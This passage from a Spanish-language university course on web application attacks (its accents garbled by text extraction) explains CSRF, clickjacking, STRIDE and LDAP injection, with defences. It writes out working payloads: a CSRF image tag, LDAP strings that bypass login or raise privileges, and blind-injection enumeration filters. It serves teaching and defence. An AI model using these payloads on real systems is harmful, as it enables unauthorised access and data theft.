Como se puede observar la teacutecnica es tan simple como efectiva Es posible hacer usode Javascript para que el ataque sea mucho maacutes discreto Las imaacutegenes disponen de unevento onerror que se lanza al no poder cargar la imagen Esto es parecido al atributoalt que se muestra cuando un navegador no soporta imaacutegenes Usando este evento ymodificando el recurso referenciado en src podemos cargar una imagen existente despueacutesde hacer la modificacioacuten maliciosa a traveacutes de CSRF

ltimg src=httpwwwsitio001comcompraraspidObjeto=31173ampconfirm=yes onerror=thissrc=logojpgthisonerror=nullgt

Igualmente seriacutea posible desencadenar un ataque de forma maacutes discreta usan-

do CSS (cascading style sheets hojas de estilo para paacuteginas web) para evitar que

la imagen rota que se genera se le muestre al usuario

El ataque anteriormente descrito se ha podido llevar a cabo gracias a que la

paacutegina de sitio001com acepta peticiones GET aquellas donde los paraacutemetros

se remiten en la URL en lugar de requerir POST para los enviacuteos de informacioacuten

Una peticioacuten GET siempre seraacute maacutes faacutecil de manipular que una peticioacuten POST

Esto es asiacute porque para generar una peticioacuten POST debemos escribir coacutedigo

Javascript el cual puede entrar en conflicto con posibles filtros antiXSS que

existan en la aplicacioacuten

CC-BY-NC-ND bull PID_00191662 21 Ataques a aplicaciones web

Sin embargo y aunque establecieacutesemos como requisito indispensable que las

peticiones se realicen mediante POST esto no nos garantizariacutea la seguridad de

nuestra paacutegina ni de nuestros clientes

Para mejorar la seguridad frente a un posible ataque podemos hacer uso de las

cabeceras Referer Estas indican la paacutegina desde la que se ha llegado a otra Se

utilizan por ejemplo para conocer cuaacuteles son las buacutesquedas que permiten a

un usuario llegar a un sitio web desde un buscador Una medida de proteccioacuten

aunque se puede saltar seriacutea comprobar que las peticiones realizadas a nuestras

paacuteginas o al menos a aquellas que impliquen acciones sensibles se realicen

desde nuestro propio dominio

La uacutenica proteccioacuten real frente a ataques de CSRF es la de establecer una serie

de valores numeacutericos que se generen de manera uacutenica en cada peticioacuten Estos

pueden ser establecidos como un CAPTCHA que el usuario debe introducir al

realizar acciones criacuteticas o como un valor oculto en un campo hidden dentro

del coacutedigo de la paacutegina que comprobamos cuando el usuario nos devuelve la

peticioacuten Estas medidas aunque tediosas de programar nos permiten asegurar

los datos de nuestros usuarios

Como usuarios de aplicaciones posiblemente vulnerables a CSRF podemos

tomar una serie de precauciones que intenten evitar un ataque mediante esta

teacutecnica Las medidas son

bull Cerrar la sesioacuten inmediatamente tras el uso de una aplicacioacuten

bull No permitir que el navegador almacene las credenciales de ninguna paacutegi-

na ni que ninguacuten servidor mantenga nuestra sesioacuten recordada maacutes que

durante el tiempo de uso

bull Utilizar navegadores distintos para las aplicaciones de ocio y las criacuteticas

Con esto nos aseguramos la independencia de las cookies de sesioacuten entre

navegadores

13 Clickjacking

Las teacutecnicas de clickjacking son una amenaza reciente para los navega-

dores y sus usuarios Se basan en engantildear a los usuarios para que ha-

gan clic sobre elementos de un sitio web donde ellos nunca lo hariacutean

voluntariamente

Esto se consigue superponiendo dos paacuteginas

CC-BY-NC-ND bull PID_00191662 22 Ataques a aplicaciones web

bull Una la principal con la paacutegina donde queremos que realmente los usua-

rios hagan clic en zonas especiacuteficas como por ejemplo un banco para rea-

lizar una transferencia

bull Otra la que sirve como engantildeo superpuesta sobre la anterior y con con-

tenidos que sirvan de aliciente para que el usuario realice los clics en las

zonas deseadas por ejemplo un pequentildeo juego donde debemos cliquear

en determinadas zonas

Esta teacutecnica se basa en el uso de iframes superpuestos Los iframes son elemen-

tos HTML que permiten la inclusioacuten de un recurso externo dentro de nuestra

paacutegina Aunque contienen una serie de limitaciones a la hora de acceder a

ellos mediante Javascript son de posible uso para engantildear al usuario

1) El primer paso es generar una paacutegina con la URL que se quiere secuestrar y

que seraacute la base sobre la que colocaremos el resto de elementos que nos haraacuten

falta para llevar a cabo esta teacutecnica

Figura 6 Paacutegina a secuestrar

2) El siguiente paso es colocar un iframe con su veacutertice superior izquierdo

exactamente en el lugar donde deseamos que el usuario engantildeado realice el

clic Esto se hace asiacute para asegurar que independientemente del navegador el

clic se ejecute sin problemas

CC-BY-NC-ND bull PID_00191662 23 Ataques a aplicaciones web

Figura 7 IFRAME sobre el sitio original

3) Finalmente se deberaacute efectuar una colocacioacuten y distribucioacuten de los elemen-

tos en la paacutegina que efectuacutea el engantildeo Es recomendable en este sentido crear

alguacuten tipo de incentivo para que el usuario se vea interesado en realizar el

clic que se persigue a fin de capturar su pulsacioacuten y transmitirla a la paacutegina

original

Figura 8 Colocacioacuten del IFRAME para engantildear al usuario

CC-BY-NC-ND bull PID_00191662 24 Ataques a aplicaciones web

Esta teacutecnica fue implementada y presentada por primera vez por Jeremiah

Grossman y Robert Hansen Ambos investigadores propusieron el ejemplo pre-

sentado en las imaacutegenes anteriores como meacutetodo para que un usuario activase

una serie de caracteriacutesticas no deseadas de su reproductor Flash Esto se logroacute a

traveacutes de una aplicacioacuten Flash ubicada en la paacutegina de Adobe para la configu-

racioacuten de seguridad del plugin como se puede observar en la siguiente imagen

Figura 9 Configuracioacuten de seguridad de Flash Player

Esta vulnerabilidad implica la necesidad de proteccioacuten por parte de los nave-

gadores ya que esta teacutecnica de nuevo utilizaraacute el navegador del usuario para

interactuar con el servidor Es por eso por lo que algunos navegadores aportan

directamente protecciones contra esta teacutecnica

bull Firefox no implementa por defecto ninguacuten meacutetodo para proteger a sus

usuarios frente a esta teacutecnica de ataque Sin embargo a traveacutes de la exten-

sioacuten NoScript que hace uso del meacutetodo ClearClick evita que un usuario

sea engantildeado para hacer clic sobre un elemento previamente falseado

CC-BY-NC-ND bull PID_00191662 25 Ataques a aplicaciones web

Figura 10 Clickjacking bloqueado

bull InternetExplorer8 incorpora de serie una proteccioacuten frente a esta teacutecni-

ca que permite a los programadores web incluir una cabecera x-frame-op-

tions que si figura establecida como deny impide que la paacutegina que la en-

viacutea sea renderizada dentro de un iframe Tambieacuten incluye la posibilidad de

establecer el valor como sameorigin para permitir que uacutenicamente pueda

ser cargada si la peticioacuten se realiza desde el mismo dominio

Figura 11 IFRAME bloqueado desde Internet Explorer 8

bull En el resto de navegadores como GoogleChromeOperaSafarieInter-

netExplorer en versiones anteriores a la 8 la uacutenica medida de proteccioacuten

y de tipo parcial consiste en deshabilitar todos los elementos dinaacutemicos

tales como Javascript Java o la opcioacuten de cargar iframes en nuestro nave-

gador

CC-BY-NC-ND bull PID_00191662 26 Ataques a aplicaciones web

2 Ataques de inyeccioacuten de coacutedigo

Las inyecciones de coacutedigo son algo a la orden del diacutea actualmente en Internet

Permitir que un usuario introduzca cualquier paraacutemetro en nuestra aplicacioacuten

puede dar lugar al acceso a informacioacuten privilegiada por parte de un atacante

Las teacutecnicas de ataque que puede sufrir un sistema se han catalogado de forma

geneacuterica con el acroacutenimo STRIDE Cada una de las siglas hace referencia a un

tipo de ataque

1)Spoofing(suplantacioacuten) Hace referencia a cualquier teacutecnica que permita

a un atacante tomar una identidad que no le corresponde Estas teacutecnicas de

ataque se usan de forma muy extendida en Internet a varios niveles

a) Nivel de enlace

Suplantacioacuten de direccioacuten fiacutesica Esta teacutecnica se usa para saltar protecciones

de direccioacuten MAC muy utilizadas en redes inalaacutembricas o reservas activas en

servidores DHCP ( dynamic host configuration protocol)

b) Nivel de Red

bull Suplantacioacuten de Direccioacuten IP Se utilizan para saltarse protecciones res-

tringidas a determinadas direcciones IP Se hicieron famosas en el ataque

a servicios Trusted Hosts en los que se permitiacutea a un usuario ldquologarserdquo

directamente en un servidor sin introducir contrasentildea si veniacutea ldquologadordquo

desde un servidor con una direccioacuten IP en concreto

bull Hijacking Buscan conseguir el control de una conexioacuten mediante la su-

plantacioacuten del validador que mantiene la sesioacuten abierta y autenticada En

el caso del nivel de red el objetivo es controlar el socket mediante la su-

plantacioacuten del nuacutemero de secuencia

c) Nivel de Aplicacioacuten

bull Suplantacioacuten de resultados DNS Se utilizan para conseguir que la viacutectima

crea que el servidor al que se conecta es el de verdad Teacutecnicas de modi-

ficacioacuten de archivos hosts implantacioacuten de servidores DHCP ataques de

envenenamiento de cacheacute a servidores DNS mediante la teacutecnica de ldquoLa fe-

cha del cumpleantildeosrdquo son utilizados para lograr este objetivo

bull Phising El impacto de esta teacutecnica de ataque en la sociedad ha hecho que

hoy en diacutea la mayoriacutea de la gente se preocupe por esto El objetivo de esta

teacutecnica es hacer creer a la viacutectima que se estaacute conectando a una aplicacioacuten

CC-BY-NC-ND bull PID_00191662 27 Ataques a aplicaciones web

mediante la suplantacioacuten de un sitio web completo Se apoya en las teacutec-

nicas de suplantacioacuten de DNS

bull Hijacking Es similar al de a nivel de red pero aquiacute se busca suplantar el va-

lidador que utiliza el nivel de aplicacioacuten Este puede ser un nuacutemero iden-

tificador de sesioacuten en una cookie un campo hidden de una paacutegina web o

un paraacutemetro por GET o por POST

bull Suplantacioacuten de usuarios El objetivo de esta teacutecnica de ataque es la de

usurpar la identidad de un usuario para realizar las acciones en su lugar

2)Tampering Implica el intento de forzar el funcionamiento de alguacuten meca-

nismo de seguridad mediante la falsificacioacuten o la alteracioacuten de la informacioacuten

Estas teacutecnicas son utilizadas para modificar ficheros de registro de acceso mo-

dificar la informacioacuten real o alterarla en su traacutensito desde el emisor al receptor

de la misma

3)Repudiation Son teacutecnicas mediante las que se evita la certificacioacuten o ga-

rantiacutea de un hecho Si un sistema no garantiza el no-repudio no se puede ga-

rantizar que la informacioacuten que contiene o emite sea veraz Tienen especial

relevancia en entornos de anaacutelisis forense o sistemas contractuales

4) InformationDisclosure Vulneracioacuten de la seguridad de un sistema que

implica que un usuario no permitido acceda a informacioacuten o documentacioacuten

sensible Este tipo de vulnerabilidades son especialmente importantes y estaacuten

protegidas por legislaciones especiales sobre todo los datos de caraacutecter perso-

nal En Espantildea se regula la seguridad de los datos mediante la Ley Orgaacutenica

de Proteccioacuten de Datos (LOPD)

5)DenialofService Las vulnerabilidades de denegacioacuten de servicio son aque-

llas que interrumpen la continuidad de los procesos de negocio o servicio de

una compantildeiacutea Estas vulnerabilidades pueden suponer un serio impacto en

los intereses de las compantildeiacuteas Los ataques basados en ordenadores zombis (

botnets) los ataques de parada de servicios o los ataques a las liacuteneas de comu-

nicacioacuten de las empresas son objetivos de este tipo de ataques

6)Elevationofprivilege Se produce este fallo de seguridad cuando un usuario

puede cambiar su nivel de privilegios dentro de un sistema para acceder a

informacioacuten o servicios que estaacuten restringidos para su identidad La elevacioacuten

de privilegios es una vulnerabilidad que suele ser el origen de brechas que

conllevan a denegacioacuten de servicio o descubrimiento de informacioacuten

A partir de esta clasificacioacuten de ataques es posible estudiar en profundidad la

implementacioacuten de ataques reales que normalmente podriacutea aparecer simul-

taacuteneamente en varias de las categoriacuteas anteriores

CC-BY-NC-ND bull PID_00191662 28 Ataques a aplicaciones web

La inyeccioacuten de comandos es una teacutecnica de ataque a aplicaciones web cuyo

objetivo principal es aprovechar conexiones a bases de datos desde aplicacio-

nes web no securizadas para permitir a un atacante la ejecucioacuten de comandos

directamente en la base de datos

21 LDAP Injection

Vamos a mostrar las posibilidades y riesgos de los ataques LDAP Injection en

aplicaciones web Con estos ejemplos se quiere demostrar coacutemo es posible

realizar ataques de elevacioacuten de privilegios de salto de protecciones de acceso

y de acceso a datos en aacuterboles LDAP mediante el uso de inyecciones de coacutedigo

LDAP Estas inyecciones de coacutedigo se han clasificado en inyecciones

bull And LDAP Injection

bull OR LDAP Injection y

bull Blind LDAP Injection

Para probar estas teacutecnicas de inyeccioacuten se han utilizado los motores ADAM

de Microsoft y el motor OpenLDAP un producto Software Libre de amplia

implantacioacuten a nivel mundial

211 LDAP Injection con ADAM de Microsoft

Para realizar todas las pruebas de las cadenas a inyectar se ha utilizado la herra-

mienta LDAP Browser que permite conectarse a distintos aacuterboles LDAP y un

cliente web sinteacutetico creado con el componente IPWorksASPLDAP de la em-

presa n Software para realizar las pruebas de ejecucioacuten de filtros inyectados

En la figura 12 se muestra la estructura que se ha creado de ejemplo en ADAM

Figura 12 Estructura del aacuterbol LDAP creado en ADAM

CC-BY-NC-ND bull PID_00191662 29 Ataques a aplicaciones web

Supongamos ahora que la aplicacioacuten web utiliza una consulta con el siguiente

filtro (cn=Impresora_1) Al lanzar esta consulta se obtiene 1 objeto como

se puede ver en la figura 13

Figura 13 Objeto de respuesta con el filtro (cn=Impresora_1)

Lo deseable por un atacante que realice una inyeccioacuten seriacutea poder acceder a

toda la informacioacuten mediante la inclusioacuten de una consulta que nos devolviera

todas las impresoras En el ejemplo vemos cuaacutel deberiacutea ser el resultado a ob-

tener con una consulta siguiendo el formato definido en las RFC sobre ADAM

(|(cn=Impresora_1)(cn=Impresora))

CC-BY-NC-ND bull PID_00191662 30 Ataques a aplicaciones web

Figura 14 Todas las impresoras

Sin embargo como se puede apreciar para construir ese filtro necesitariacuteamos

inyectar un operador y un pareacutentesis al principio En el ejemplo la inyeccioacuten

no resulta ser muy uacutetil pues se estaacute realizando en ambas condicionantes sobre

cn pero ese filtro solo estaacute creado para ilustrar la necesidad de inyectar coacutedigo

antes del filtro y en el medio del filtro Si probamos la inyeccioacuten propuesta

por Sacha Faust en ADAM (cn=Impresora_1)(|(cn=Impresora))

Figura 15 Inyeccioacuten sin resultados

CC-BY-NC-ND bull PID_00191662 31 Ataques a aplicaciones web

Como se puede apreciar en la figura anterior en la uacuteltima prueba la inyeccioacuten

no produce ninguacuten error pero a diferencia de las pruebas que realiza Sacha

Faust con SunOne Directory Server 50 el servidor ADAM no devuelve maacutes

datos Es decir solo devuelve los datos del primer filtro completo y el resto de

la cadena es ignorado

212 LDAP Injection con OpenLDAP

Para realizar las pruebas de inyeccioacuten en OpenLDAP se ha utilizado el aacuterbol

que ofrece para aplicaciones de prueba el propio proyecto OpenLPADorg cuya

estructura es la siguiente

Figura 16 Estructura del aacuterbol LDAP en OpenLDAP

Sobre esta estructura ejecutamos una consulta para buscar a un usuario obte-

niendo un uacutenico objeto como resultado (uid=kurt)

CC-BY-NC-ND bull PID_00191662 32 Ataques a aplicaciones web

Figura 17 Al ejecutar el filtro (uid=kurt) obtenemos un uacutenico resultado

Si quisieacuteramos ampliar el nuacutemero de resultados siguiendo el formato definido

en el RFC deberiacuteamos ejecutar una consulta en la que inyectaacuteramos un opera-

dor OR y un filtro que incluyera todos los resultados como se puede ver en la

siguiente imagen (|(uid=kurt)(uid=))

Figura 18 Todos los usuarios

Si realizamos la inyeccioacuten tal y como propone Sacha Faust en su documento

sobre LDAP obtendriacuteamos los siguientes resultados (uid=kurt)(|(uid=))

CC-BY-NC-ND bull PID_00191662 33 Ataques a aplicaciones web

Figura 19 Inyeccioacuten OpenLDAP Se ignora el segundo filtro

Como puede apreciarse en la figura 19 el servidor OpenLDAP ha ignorado

el segundo filtro y solo ha devuelto un usuario de igual forma que realizaba

ADAM

213 Conclusiones

Tras realizar estas pruebas podemos extraer las siguientes conclusiones

bull Para realizar una inyeccioacuten de coacutedigo LDAP en una aplicacioacuten que trabaje

contra ADAM u OpenLDAP es necesario que el filtro original es decir el

del programador tenga un operador OR o AND A partir de este punto se

pueden realizar inyecciones de coacutedigo que permitan extraer informacioacuten

o realizar ataques blind es decir a ciegas

bull Es necesario que la consulta generada tras la inyeccioacuten esteacute correctamente

anidada en un uacutenico par de pareacutentesis general o bien que el componente

permita la ejecucioacuten con informacioacuten que no se va a utilizar a la derecha

del filtro

bull La inyeccioacuten que queda compuesta seguacuten el documento de Sacha Faust

puede ser vista de dos formas diferentes una primera en la que seriacutea vista

como un uacutenico filtro con un operador y otra en la que se interpretaraacute co-

mo la concatenacioacuten de dos filtros En el primer caso tendriacuteamos un filtro

mal compuesto Por otro lado si la inyeccioacuten se ve como dos filtros es-

tariacuteamos hablando de un comportamiento particular de algunos motores

LDAP (que no comparten con OpenLDAP ni con ADAM) y ademaacutes con

un segundo filtro con un operador el operador OR innecesario

CC-BY-NC-ND bull PID_00191662 34 Ataques a aplicaciones web

A partir de este punto vamos a analizar diferentes tipos de inyecciones LDAP

que pueden suponer un riesgo de seguridad en los sistemas LDAP que esteacuten

siendo accedidos por aplicaciones web ldquoORrdquo LDAP Injection ldquoANDrdquo LDAP In-

jection y Blind LDAP Injection

214 ldquoORrdquo LDAP Injection

En este entorno nos encontrariacuteamos con que el programador ha creado una

consulta LDAP con un operador OR y uno o los dos paraacutemetros son solicitados

al usuario

(|(atributo1=valor1)(atributo2=valor2))

Supongamos en el ejemplo del aacuterbol LDAP que tenemos una consulta inyec-

table del siguiente tipo (|(cn=D)(ou=Groups)) Es decir que devuelve to-

dos los objetos cuyo valor en ldquocnrdquo comience por ldquoDrdquo o cuyo valor en ldquoourdquo sea

ldquoGroupsrdquo Al ejecutarla obtenemos

Figura 20 Consulta OR sin inyeccioacuten

Si esta consulta sufriera una inyeccioacuten de coacutedigo en el primer paraacutemetro po-

driacuteamos realizar una consulta que nos devolviera la lista de usuarios almace-

nados Para ello realizamos la inyeccioacuten en el primer valor de la siguiente ca-

dena void)(uid=))(|(uid=

CC-BY-NC-ND bull PID_00191662 35 Ataques a aplicaciones web

Figura 21 Lista de usuarios obtenida tras la inyeccioacuten

Al formarse la consulta LDAP esta quedaraacute construida de la siguiente forma (|

(cn=void)(uid=))(|(uid=)(ou=Groups)) permitiendo obtener la lis-

ta de todos los usuarios del aacuterbol LDAP

Otro ejemplo de esta teacutecnica es la siguiente aplicacioacuten de gestioacuten interna en

este caso tenemos un aplicativo que lanza una consulta LDAP del siguiente

tipo

(|(type=outputDevices)(type=printer))

Figura 22 Listado de impresoras y dispositivos de salida

Si el paraacutemetro type que va por GET en la URL es inyectable un atacante podriacutea

modificar el filtro de consulta LDAP con una inyeccioacuten del siguiente tipo

CC-BY-NC-ND bull PID_00191662 36 Ataques a aplicaciones web

(|(type=outputDevices)(type=printer)(uid=))(|(type=void))

Con esa inyeccioacuten el atacante obtendriacutea en este ejemplo la lista de todos los

usuarios como se puede ver en la figura 23

Figura 23 Acceso al listado de usuarios mediante OR LDAP Injection

215 ldquoANDrdquo LDAP Injection

En el caso de inyecciones en consultas LDAP que lleven el operador AND el

atacante estaacute obligado a utilizar como valor en el primer atributo algo vaacutelido

pero se pueden utilizar las inyecciones para mediatizar los resultados y por

ejemplo realizar escaladas de privilegios En este caso nos encontrariacuteamos con

una consulta del siguiente tipo

(amp(atributo1=valor1)(atributo2=valor2))

Supongamos un entorno en el que se muestra la lista de todos los documentos

a los que un usuario con pocos privilegios tiene acceso mediante una consulta

que incluye el directorio de documentos en un paraacutemetro inyectable Es decir

la consulta original es

(amp(directorio=nombre_directorio)(nivel_seguridad=bajo))

Un atacante podriacutea construir una inyeccioacuten del siguiente modo para poder

acceder a los documentos de nivel de seguridad alto

(amp(directorio=almacen)(nivel_seguridad=alto))(|(directorio=almacen)(nivel_seguridad=bajo))

Para conseguir este resultado se habraacute inyectado en el nombre del directorio

la siguiente cadena

almacen)(nivel_seguridad=alto))(|(directorio=almacen

CC-BY-NC-ND bull PID_00191662 37 Ataques a aplicaciones web

Un ejemplo de este ataque se puede ver en la siguiente aplicacioacuten En primer

lugar se va a realizar un acceso no autorizado a la aplicacioacuten web utilizando

una inyeccioacuten que evite la comprobacioacuten de la contrasentildea La aplicacioacuten lanza

una consulta LDAP del tipo

(amp(uid=valor_de_user)(password=valor_de_password)

El atacante inyectando la cadena slisberger)(amp)) en el valor del USER

obtendriacutea una consulta LDAP que siempre devolveriacutea al usuario slisberger

y por lo tanto conseguiriacutea el acceso a la aplicacioacuten

Figura 24 Acceso no autorizado mediante AND LDAP Injection

Y como se puede ver en la figura 25 el usuario consigue acceso al directorio

privado del usuario slisberger En este caso se ha utilizado el filtro (amp)

que es el equivalente al valor TRUE en los filtros LDAP

Figura 25 Directorio home del usuario

Como se puede ver en este caso el usuario ha accedido con privilegios de nivel

bajo y en la aplicacioacuten de mostrar documentos que se describioacute al principio

de este apartado solo tendriacutea acceso a los documentos de nivel bajo como se

puede ver en la figura 26

CC-BY-NC-ND bull PID_00191662 38 Ataques a aplicaciones web

Figura 26 Listado de documentos de nivel bajo

La consulta que se estaacute ejecutando es

(amp(directory=nombre_directorio)(level=low))

El valor de level lo estaacute cogiendo la aplicacioacuten de las variables de sesioacuten del

servidor sin embargo un atacante podriacutea inyectar en el nombre del directorio

el siguiente comando Documents)(level=High) De esta forma el coman-

do que se ejecutariacutea seriacutea

(amp(directory=Documents)(level=High))(level=low))

Permitiendo al atacante acceder a todos los documentos Se ha producido una

elevacioacuten de privilegios

CC-BY-NC-ND bull PID_00191662 39 Ataques a aplicaciones web

Figura 27 Elevacioacuten de privilegios mediante AND LDAP Injection

22 Blind LDAP Injection

Una de las evoluciones de las inyecciones de comandos son las acciones a

ciegas los ataques ldquoblindrdquo Es comuacuten encontrarse ya documentados los ataques

Blind SQL Injection pero de los ataques Blind LDAP Injection sin embargo no

se ha hablado nada Tambieacuten es posible realizar un ataque a ciegas para extraer

informacioacuten de un aacuterbol LDAP

El entorno para realizar un ataque a ciegas suele ser una aplicacioacuten web que

cumple dos caracteriacutesticas

bull La aplicacioacuten no muestra los resultados obtenidos de la consulta realizada

al aacuterbol LDAP

bull El uso de los resultados produce cambios en la respuesta http que el cliente

recibe

Para realizar un ataque a ciegas necesitamos poder crear la loacutegica para extraer

informacioacuten cambiando los resultados obtenidos con el filtro LDAP y obser-

vando los cambios en las respuestas http

CC-BY-NC-ND bull PID_00191662 40 Ataques a aplicaciones web

221 Blind LDAP Injection en un entorno ldquoANDrdquo

En esta situacioacuten tenemos una consulta generada en el lado del servidor del

siguiente tipo

(amp(atributo1=valor1)(atributo2=valor2))

Para realizar la inyeccioacuten debemos tener en cuenta que en un entorno AND

tenemos un paraacutemetro fijo que nos va a condicionar El entorno ideal es que el

atributo1 sea lo maacutes general posible por ejemplo objectClass o cn con lo

que podremos seleccionar casi cualquier objeto del aacuterbol Despueacutes deberemos

aplicarle un valor que sea true es decir que siempre seleccione objetos para

tenerlo fijado a valor true y utilizar como segundo atributo uno conocido que

tambieacuten nos garantice que sea true

Supongamos la siguiente consulta LDAP

(amp(objectClass=Impresoras)(impresoraTipo=Epson))

Que se lanza para saber si en el almaceacuten de una empresa hay impresoras Epson

de tal manera que el programador si recibe alguacuten objeto simplemente pinta

en la paacutegina web un icono de una impresora Epson

Estaacute claro que lo maacuteximo que conseguiremos tras la inyeccioacuten es ver o no el

icono de la impresora Bien iexclpues a ello Fijemos la respuesta positiva tal y

como hemos dicho realizando una inyeccioacuten del siguiente tipo

(amp(objectClass=)(objectClass=))(amp(objectClass=void)(impresoraTipo=Epson))

Lo que estaacute puesto en negrita seriacutea la inyeccioacuten que introduciriacutea el atacante

Esta inyeccioacuten debe devolver siempre alguacuten objeto en el ejemplo planteado

en la respuesta http veriacuteamos un icono de la impresora A partir de ahiacute podriacutea-

mos extraer los tipos de objectClass que tenemos en nuestro aacuterbol LDAP

222 Reconocimiento de clases de objetos de un aacuterbol LDAP

Sabiendo que el filtro (objectClass=) siempre devuelve alguacuten objeto deberiacutea-

mos centrarnos en el segundo filtro realizando un recorrido de la siguiente

forma

(amp(objectClass=)(objectClass=users))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=personas))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=usuarios))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=logins))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=))(amp(objectClass=foo)(impresoraTipo=Epson))

CC-BY-NC-ND bull PID_00191662 41 Ataques a aplicaciones web

De tal manera que todas aquellas inyecciones que devolvieran el icono de la

impresora en la paacutegina web seriacutean respuestas afirmativas que nos indicariacutean

la existencia de ese tipo de objetos

Otra forma maacutes eficiente seriacutea realizando un barrido en el espectro del alfa-

beto de posibles valores utilizando una buacutesqueda con comodines para ello

realizariacuteamos un aacuterbol que comenzariacutea por todas las letras del abecedario de

la siguiente forma

(amp(objectClass=)(objectClass=a))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=b))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=z))(amp(objectClass=foo)(impresoraTipo=Epson))

De tal manera que seguiriacuteamos desplegando el aacuterbol de aquellas que hubieran

dado una respuesta positiva

(amp(objectClass=)(objectClass=aa))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=ab))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=az))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=ba))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=bb))(amp(objectClass=foo)(impresoraTipo=Epson))

Y asiacute sucesivamente con lo que desplegando siempre las positivas podriacuteamos

llegar a saber el nombre de todos los objetcClass de un sistema

Figura 28 Aacuterbol de despliegue Se profundizaraacute en todas las respuestas positivas (color verde)

Este mecanismo no solo funciona para objectClass sino que seriacutea vaacutelido

para cualquier atributo que un objeto compartiera con el atributo fijo Una

vez sacados los objectClass podriacuteamos proceder a realizar el mismo reco-

CC-BY-NC-ND bull PID_00191662 42 Ataques a aplicaciones web

rrido para extraer la informacioacuten de ellos por ejemplo si queremos extraer los

nombres de todos los usuarios de un sistema bastariacutea con realizar el barrido

con la siguiente inyeccioacuten

(amp(objectClass=user)(uid=a))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=user)(uid=b))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=user)(uid=z))(amp(objectClass=foo)(impresoraTipo=Epson))

Este meacutetodo obliga a hacer un recorrido en amplitud por un aacuterbol cuya posi-

bilidad de expandirse en cada nodo siempre es igual al alfabeto completo Se

puede reducir este alfabeto realizando un recorrido para averiguar queacute carac-

teres no estaacuten siendo utilizados en ninguna posicioacuten en ninguacuten objeto utili-

zando un recorrido de la siguiente forma

(amp(objectClass=user)(uid=a))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=user)(uid=b))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=user)(uid=z))(amp(objectClass=foo)(impresoraTipo=Epson))

De esta forma se pueden excluir del alfabeto aquellos caracteres que no hayan

devuelto un resultado positivo tras este primer recorrido Si deseaacuteramos bus-

car un uacutenico valor podriacuteamos realizar una buacutesqueda binaria de cada uno de

los caracteres utilizando los operadores relacionales lt= o gt= para reducir el

nuacutemero de peticiones

En los atributos que almacenan valores numeacutericos no es posible utilizar el co-

modiacuten para ldquobooleanizarrdquo la informacioacuten almacenada es por tanto necesa-

rio realizar la buacutesqueda de valores utilizando los operadores gt= y lt=

(amp(objectClass=user)(uid=kurt)(edadgt=1)(amp(objectClass=foo)(impresoraTipo=Epson))

223 Blind LDAP Injection en un entorno ldquoORrdquo

En esta situacioacuten tenemos una consulta generada en el lado del servidor del

siguiente tipo

(|(atributo1=valor1)(atributo2=valor2))

En este entorno la loacutegica que debemos utilizar es al contrario En lugar de fijar

el valor del primer filtro a un valor siempre cierto deberemos fijarlo a un valor

siempre falso y a partir de ahiacute extraer la informacioacuten es decir realizariacuteamos

una inyeccioacuten de la siguiente forma

(|(objectClass=void)(objectClass=void))(amp(objectClass=void)(impresoraTipo=Epson))

CC-BY-NC-ND bull PID_00191662 43 Ataques a aplicaciones web

Con esta inyeccioacuten obtendremos el valor negativo de referencia En el ejemplo

planteado de las impresoras disponibles deberemos obtener un resultado sin

el icono de la impresora Luego podremos inferir la informacioacuten cuando sea

verdadero el segundo filtro

(|(objectClass=void)(objectClass=users))(amp(objectClass=void)(impresoraTipo=Epson))

(|(objectClass=void)(objectClass=personas))(amp(objectClass=void)(impresoraTipo=Epson))

(|(objectClass=void)(objectClass=usuarios))(amp(objectClass=void)(impresoraTipo=Epson))

(|(objectClass=void)(objectClass=logins))(amp(objectClass=void)(impresoraTipo=Epson))

(|(objectClass=void)(objectClass=))(amp(objectClass=void)(impresoraTipo=Epson))

De igual forma que en el ejemplo con el operador AND podriacuteamos extraer toda

la informacioacuten del aacuterbol LDAP utilizando los comodines

224 Ejemplos Blind LDAP Injection

Para mostrar la potencia de los ataques Blind LDAP Injection se ha creado

dentro de un aacuterbol LDAP sobre ADAM una estructura con objetos Printer En

la siguiente figura se pueden ver los atributos de un objeto de tipo Printer

Figura 29 Aacuterbol LDAP sobre ADAM Objeto tipo Printer

Sobre este aacuterbol LDAP trabaja una aplicacioacuten web que se conecta entre otros

repositorios a este aacuterbol para obtener informacioacuten En este caso tenemos una

aplicacioacuten programada en php llamada printerstatusphp que recibe co-

mo paraacutemetro el nombre de la impresora y construye una consulta LDAP de

la siguiente forma

(amp(cn=HP Laserjet 2100)(objectclass=printer))

El resultado es una paacutegina web en la que se accede a propiedades de la impre-

sora en concreto

CC-BY-NC-ND bull PID_00191662 44 Ataques a aplicaciones web

Figura 30 Propiedades de la impresora HP LaserJet 2100

El paraacutemetro idprinter se utiliza para construir la consulta LDAP y es vul-

nerable a LDAP Injection sin embargo no se muestra ninguno de los datos de

los objetos que se puedan seleccionar con cualquier consulta ejecutada por

lo que uacutenicamente se puede realizar una explotacioacuten a ciegas Las siguientes

capturas muestran ejemplos de coacutemo extraer informacioacuten del aacuterbol LDAP me-

diante Blind LDAP Injection

1)Fase1descubrimientodeatributos

El atacante inyecta atributos para descubrir si existen o no Cuando el atributo

no existe la consulta LDAP no devuelve ninguacuten objeto y la aplicacioacuten no

muestra datos de ninguna impresora

Hay que tener en cuenta que el comodiacuten vale uacutenicamente para los valores de

tipo alfanumeacutericos luego si el atributo fuera de otro tipo no se podriacutea descubrir

asiacute Para los tipos numeacutericos y de tipo fecha se utilizan los operadores gt= lt=

o = y para los booleanos las constantes true y false

Figura 31 Atributo IPaddress no existe o no tiene valor alfanumeacuterico

